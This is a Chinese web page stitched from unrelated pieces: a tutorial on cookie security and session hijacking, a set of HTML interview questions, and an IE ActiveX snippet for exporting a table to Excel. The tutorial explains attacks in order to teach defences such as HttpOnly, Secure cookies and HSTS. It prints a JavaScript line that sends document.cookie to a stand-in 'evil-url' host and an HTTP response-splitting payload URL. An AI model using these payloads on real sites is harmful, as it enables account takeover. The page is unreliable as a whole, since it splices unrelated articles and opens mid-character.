、cookie的基本特性
如果不了解cookie,可以先到wikipedia上学习一下。
http request
浏览器向服务器发起的每个请求都会带上cookie:
Host: www.example.org Cookie: foo=value1;bar=value2 Accept: */*
http response
服务器给浏览器的返回可以设置cookie:
HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT (content of page)
二、cookie有关的术语
session cookie
当cookie没有设置超时时间,那么cookie会在浏览器退出时销毁,这种cookie是session cookie。
persistent cookie/tracking cookie
设置了超时时间的cookie,会在指定时间销毁,cookie的维持时间可以持续到浏览器退出之后,这种cookie被持久化在浏览器中。很多站点用cookie跟踪用户的历史记录,例如广告类站点会使用cookie记录浏览过哪些内容,搜索引擎会使用cookie记录历史搜索记录,这时也可以称作tracking cookie,因为它被用于追踪用户行为。
secure cookie
服务器端设置cookie的时候,可以指定secure属性,这时cookie只有通过https协议传输的时候才会带到网络请求中,不加密的http请求不会带有secure cookie。设置secure cookie的方式举例:
Set-Cookie: foo=bar; Path=/; Secure
HttpOnly cookie
服务器端设置cookie的时候,也可以指定一个HttpOnly属性。
Set-Cookie: foo=bar; Path=/; HttpOnly
设置了这个属性的cookie在javascript中无法获取到,只会在网络传输过程中带到服务器。
third-party cookie
第三方cookie的使用场景通常是iframe,例如www.a.com潜入了一个www.ad.com的广告iframe,那么www.ad.com设置的cookie属于不属于www.a.com,被称作第三方cookie。
supercookie
cookie会从属于一个域名,例如www.a.com,或者属于一个子域,例如b.a.com。但是如果cookie被声明为属于.com会发生什么?这个cookie会在任何.com域名生效。这有很大的安全性问题。这种cookie被称作supercookie。浏览器做出了限制,不允许设置顶级域名cookie(例如.com,.net)和pubic suffix cookie(例如.co.uk,.com.cn)。现代主流浏览器都很好的处理了supercookie问题,但是如果有些第三方浏览器使用的顶级域名和public suffix列表有问题,那么就可以针对supercookie进行攻击啦。
zombie cookie/evercookie
僵尸cookie是指当用户通过浏览器的设置清除cookie后可以自动重新创建的cookie。原理是通过使用多重技术记录同样的内容(例如flash,silverlight),当cookie被删除时,从其他存储中恢复。 evercookie是实现僵尸cookie的主要技术手段。 了解僵尸cookie和evercookie。
三、cookie有什么用
通常cookie有三种主要的用途。
session管理
http协议本身是是无状态的,但是现代站点很多都需要维持登录态,也就是维持会话。最基本的维持会话的方式是Base Auth,但是这种方式,用户名和密码在每次请求中都会以明文的方式发送到客户端,很容易受到中间人攻击,存在很大的安全隐患。所以现在大多数站点采用基于cookie的session管理方式:用户登陆成功后,设置一个唯一的cookie标识本次会话,基于这个标识进行用户授权。只要请求中带有这个标识,都认为是登录态。
个性化
cookie可以被用于记录一些信息,以便于在后续用户浏览页面时展示相关内容。典型的例子是购物站点的购物车功能。以前Google退出的iGoogle产品也是一个典型的例子,用户可以拥有自己的Google自定制主页,其中就使用了cookie。
user tracking
cookie也可以用于追踪用户行为,例如是否访问过本站点,有过哪些操作等。
四、cookie窃取和session劫持
本文就cookie的三种用途中session管理的安全问题进行展开。 既然cookie用于维持会话,如果这个cookie被攻击者窃取会发生什么?session被劫持! 攻击者劫持会话就等于合法登录了你的账户,可以浏览大部分用户资源。
攻击一旦站点中存在可利用的xss漏洞,攻击者可直接利用注入的js脚本获取cookie,进而通过异步请求把标识session id的cookie上报给攻击者。
var img = document.createElement('img'); img.src ='http://evil-url?c='+ encodeURIComponent(document.cookie); document.getElementsByTagName('body')[0].appendChild(img);
如何寻找XSS漏洞是另外一个话题了,自行google之。 防御 根据上面HttpOnly cookie的介绍,一旦一个cookie被设置为HttpOnly,js脚本就无法再获取到,而网络传输时依然会带上。也就是说依然可以依靠这个cookie进行session维持,但客户端js对其不可见。那么即使存在xss漏洞也无法简单的利用其进行session劫持攻击了。 但是上面说的是无法利用xss进行简单的攻击,但是也不是没有办法的。既然无法使用document.cookie获取到,可以转而通过其他的方式。下面介绍两种xss结合其他漏洞的攻击方式。
xss结合phpinfo页面
攻击 大家都知道,利用php开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息,其中就包括cookie信息。
如果开发者没有关闭这个页面,就可以利用xss漏洞向这个页面发起异步请求,获取到页面内容后parse出cookie信息,然后上传给攻击者。 phpinfo只是大家最常见的一种dump请求的页面,但不仅限于此,为了调试方便,任何dump请求的页面都是可以被利用的漏洞。 防御关闭所有phpinfo类dump request信息的页面。
XSS + HTTP TRACE = XST
这是一种古老的攻击方式,现在已经消失,写在这里可以扩展一下攻防思路。http trace是让我们的web服务器将客户端的所有请求信息返回给客户端的方法。其中包含了HttpOnly的cookie。如果利用xss异步发起trace请求,又可以获取session信息了。之所以说是一种古老的攻击方式,因为现代浏览器考虑到XST的危害都禁止了异步发起trace请求。另外提一点,当浏览器没有禁止异步发起trace的时代,很多开发者都关闭了web server的trace支持来防御XST攻击。但攻击者在特定的情况下还可以绕过,用户使用了代理服务器,而代理服务器没有关闭trace支持,这样又可以trace了。
HTTP Response Splitting
通常的XSS攻击都是把输入内容注入到response的content中,HTTP Response Splitting是一种针对header的注入。例如,一个站点接受参数做302跳转:
www.example.com/?r=http://baidu.com
request信息:
GET /example.com?r=http://baidu.com
HTTP/1.1
Host: example.com
response:
HTTP/1.1 302 Found Location: http://baidu.com Content-Type: text/html
这样页面就302跳转到百度了。攻击者利用r参数可以注入header,r参数不是简单的url,而是包含的header信息:
http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E
response变成了:
HTTP/1.1 302 Found Location: HTTP/1.1 200 OK Content-Type: text/html X-XSS-Protection: 0 <html><script>alert(document.cookie)</script><h1>Defaced!</h1></html> Content-Type: text/html
有两个攻击要点:
防御 针对header的内容做过滤,不能漏掉,特别是Location,host,referrer等。说到底,这也是一种XSS攻击,只是攻击方式与普通的不太一样。针对header的攻击还可以做SQL注入等,防御的原则是对所有的输入进行sanitize,包括非用户输入的内容,比如referrer这种一般由浏览器带过来的信息,因为请求完全可以被伪造,未必来自浏览器。
网络监听(network eavesdropping/network sniffing)
以上是利用上层应用的特性的几种攻击方式,cookie不仅存在于上层应用中,更流转于请求中。上层应用获取不到后,攻击者可以转而从网络请求中获取。只要是未使用https加密的网站都可以抓包分析,其中就包含了标识session的cookie。当然,完成网络监听需要满足一定的条件,这又是另外一个话题了。常见的方式:
防御使用https。使用https协议的请求都被ssl加密,理论上不可破解,即便被网络监听也无法通过解密看到实际的内容。防御网络监听通常有两种方式:
https是加密信道,在此信道上传输的内容对中间人都是不可见的。但https是有成本的。内容加密比较好理解,例如对password先加密再传输。但是对于标识session的cookie这种标识性信息是无法通过内容加密得到保护的。那么,使用https的站点就可以高枕无忧了吗?事实上,一些细节上的处理不当同样会暴露出攻击风险。
https站点攻击:双协议
如果同时支持http和https,那么还是可以使用网络监听http请求获取cookie。 防御只支持https,不支持http。这样就好了吗?No.
https站点攻击:301重定向
例如www.example.com只支持https协议,当用户直接输入example.com(大部分用户都不会手动输入协议前缀),web server通常的处理是返回301要求浏览器重定向到https://www.example.com。这次301请求是http的!而且带了cookie,这样又将cookie明文暴露在网络上了。 防御1 把标识session的cookie设置成secure。上面提到的secure cookie,只允许在https上加密传输,在http请求中不会存在,这样就不会暴露在未加密的网络上了。 然后现实很残酷,很多站点根本无法做到所有的请求都走https。原因有很多,可能是成本考虑,可能是业务需求。 防御2 设置Strict-Transport-Security header,直接省略这个http请求!用户首次访问后,服务器设置了这个header以后,后面就会省略掉这次http 301请求。
TML我们也学了那么久了,是时候看一些面试题了,毕竟学习完找工作要面试,你工作能力再强,面试这一关还是要过得。所以面试题占了很重要的成分。下面我来总结一部分,尽量全面一些,既要接近我们所学,又要满足真实面试场景。
1、请说出XHTML和HTML的区别
答: 1、文档顶部doctype声明不同,xhtml的doctype顶部声明中明确规定了xhtml DTD的写法;
2、html元素必须正确嵌套,不能乱;
3、属性必须是小写的;
4、属性值必须加引号;
5、标签必须有结束,单标签也应该用 “/” 来结束掉;
2、请写出至少5个HTML块元素标签
答: div p ul li table h1 h2 h3 ... h6 form 等
3、请写出至少5个HTML行内元素标签
答:span a i label img input button textarea select 等
4、请写出table标签下面会包含哪些标签元素
答: tr th td thead tbody tfoot 等
5、很多网站不常用table iframe这两个元素,知道原因吗?
答:因为浏览器页面渲染的时候是从上至下的,而table 和 iframe 这两种元素会改变这样渲染规则,他们是要等待自己元素内的内容加载完才整体渲染。用户体验会很不友好。
6、jpg和png格式的图片有什么区别?
答: jpg是有损压缩格式,png是无损压缩格式。所以,相同的图片,jpg体积会小。比如我们一些官网的banner图,一般都很大,所以适合用jpg类型的图片。但png分8位的和24位的,8位的体积会小很多,但在某些浏览器下8位的png图片会有锯齿。
7、请用html知识解决seo优化问题
答: 网站上线应该设置TDK
TDK就是 :
然后就是html语义化标签,要简洁,合理,这样可以在css和js加载不全的时候,使我们的html文档尽量清晰的展示出来,而不会特别乱;
8、常用浏览器有哪些,内核都是什么?
答: 常用浏览器有 IE 火狐(firefox) chrome safari 360 搜狗 等
内核:IE的是 Trident
火狐的是 Gecko
chrome和safari 用的是 Webkit
360和搜狗这些分极速模式和兼容模式,极速模式用的Webkit的内核,兼容模式用的Trident内核。
9、请至少写出5个H5的新标签
答: header nav footer canvas datalist article mark
10、a标签在新窗口打开链接怎么加属性?
答: <a target="_blank">链接</a>
11、写了2个<a>标签,两个标签之间有空格的情况遇到过吗?
答:遇到过,一般换行写的时候会出现这种情况。代码:
<a>我们</a>
<a>你们</a>
这样“我们”和“你们”之间就会有明显的空格,如图:
怎么样,是不是空格挺明显的。
解决办法就是不换行写,把两个a标签写在一行里。
12、form标签上定义请求类型的是哪个属性?定义请求地址的是哪个属性?
答:form表单定义请求类型的是 method 属性 , 定义请求地址的是 action属性
好啦,基本上html这部分面试题就这么多,肯定还有没有总结到的,这些面试题一定要会,甚至比我总结的多了更好。喜欢文章的小伙伴记得关注公众号:书软
目中用到需要将页面数据导出 就想到了IE的直接导出。
将用到的示例给大家分享一下:
//将表格中的数据导出到excel中
function exportDataToExcel(tid){
var curTbl = $('#tid');
var oXLn;
try{
oXLn = new ActiveXObject("Excel.Application"); //创建对象excel
}catch(e){
alert("无法启动Excel!\n\n如果您确信您的电脑中已经安装了Excel,"+"那么请调整IE的安全级别。\n\n具体操作:\n\n"+"工具 → Internet选项 → 安全 → 自定义级别 → 对没有标记为安全的ActiveX进行初始化和脚本运行 → 启用");
return false;
}
var oWBs = oXLn.Workbooks.Add(); //获取workbook对象
var oSheet1 = oWBs.ActiveSheet;//激活当前sheet
var sel = document.body.createTextRange();
sel.moveToElementText(curTbl); //把表格中的内容移到TextRange中
sel.select(); //全选TextRange中内容
sel.execCommand("Copy");//复制TextRange中内容
oSheet1.Paste();//粘贴到活动的EXCEL中
oXLn.Visible = true; //设置excel可见属性
var fname = oXLn.Application.GetSaveAsFilename("将table导出到excel.xls", "Excel Spreadsheets (*.xls), *.xls");
oWBs.SaveAs(fname);
oWBs.Close();
oXLn.nQuit();
}
注意:1.电脑必须安装微软的excel。
2.需要将浏览器的active控件设置为启用。
*请认真填写需求信息,我们会在24小时内与您取得联系。